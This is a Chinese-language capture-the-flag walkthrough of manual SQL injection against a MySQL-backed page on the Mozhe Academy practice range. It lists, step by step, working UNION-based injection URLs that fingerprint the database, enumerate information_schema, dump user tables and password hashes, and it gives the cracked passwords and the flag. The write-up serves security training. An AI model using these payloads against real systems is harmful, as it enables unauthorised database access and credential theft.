SQL手工注入漏洞测试(MySQL数据库)
靶场地址:墨者学院
打开靶场,进入环境:
发现登录界面,尝试弱口令,无法进入
发现下方的滚动提示信息,点击进入
观察url信息,为GET请求,存在可控变量,验证是否存在SQL注入
老方法:
1 and 1=1 回显正常
1 and 1=2 回显不正常,可能存在SQL注入
简单直白方法:
直接在可控变量后面随便输入值,看回显效果,回显不正常,可能存在SQL注入
http://124.70.22.208:49146/new_list.php?id=1 and 1=1
http://124.70.22.208:49146/new_list.php?id=1 and 1=2
可控变量后随便输入数值:
接下来进行判断字段的个数:
http://124.70.22.208:49146/new_list.php?id=1 order by 1 回显正常
http://124.70.22.208:49146/new_list.php?id=1 order by 2 回显正常
http://124.70.22.208:49146/new_list.php?id=1 order by 3 回显正常
http://124.70.22.208:49146/new_list.php?id=1 order by 4 回显正常
http://124.70.22.208:49146/new_list.php?id=1 order by 5 回显异常,说明有四列字段
id=1 order by 5 回显异常,说明有四列字段
判断回显点:
http://124.70.22.208:49146/new_list.php?id=-1 union select 1,2,3,4
接下来进行信息收集,收集数据库的信息:操作系统,数据库名,数据库的用户,数据库的版本等
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os
数据库版本和用户:
http://124.70.22.208:49146/new_list.php?id=-1 union select 1,version(),user(),4
数据库名和操作系统:
http://124.70.22.208:49146/new_list.php?id=-1 union select 1,@@version_compile_os,database(),4
由于为root用户,所以可以高权限访问其他的数据库信息,可跨库查询信息,同一个服务器下的不同站点中的数据库均可查看
查看当前的所有数据库
http://124.70.22.208:49146/new_list.php?id=-1 union select 1,group_concat(schema_name),database(),4 from information_schema.schemata
这里可实现跨库查询,以上数据库当中的信息均可查询。这里不做演示,都是相同的道理,语句都类似无非就是查询不同的数据库而已。这里演示查询当前的数据库,其他都是同理,更换数据库名即可。
查询当前数据库的表名:
http://124.70.22.208:49146/new_list.php?id=-1 union select 1,group_concat(table_name),database(),4 from information_schema.tables where table_schema=database()
查询第一个数据表,观察当中有没有我们想要的信息,查询数据表的列的信息:
http://124.70.22.208:49146/new_list.php?id=-1 union select 1,group_concat(column_name),database(),4 from information_schema.columns where table_name='StormGroup_member'
发现用户名和密码,进一步查询:
http://124.70.22.208:49146/new_list.php?id=-1 union select 1,group_concat(id,"-",name,"-",password,"-",status),database(),4 from StormGroup_member
或者使用limit判断:
存在多个数据时,可使用limit x,1 进行猜解
http://124.70.22.208:49146/new_list.php?id=-1 union select 1,group_concat(id,"-",name,"-",password,"-",status),database(),4 from StormGroup_member limit 0,1
回显不正常就说明没有更多的数据信息
末尾处加上limit 0,1即可
然后改变0的值,将0改为1,2,3...逐一去判断即可
将以上查出来的password值进行MD5解密即可:
用户名:mozhe
密码:dsan13
用户名:mozhe
密码:803486
尝试登录:
使用dsan13该密码登录:
使用803486该密码登录,可正常进入,并获取KEY
本题KEY为:
mozheb72bade8dfd3ecf108ab206a462
文章不妥之处,欢迎批评指正!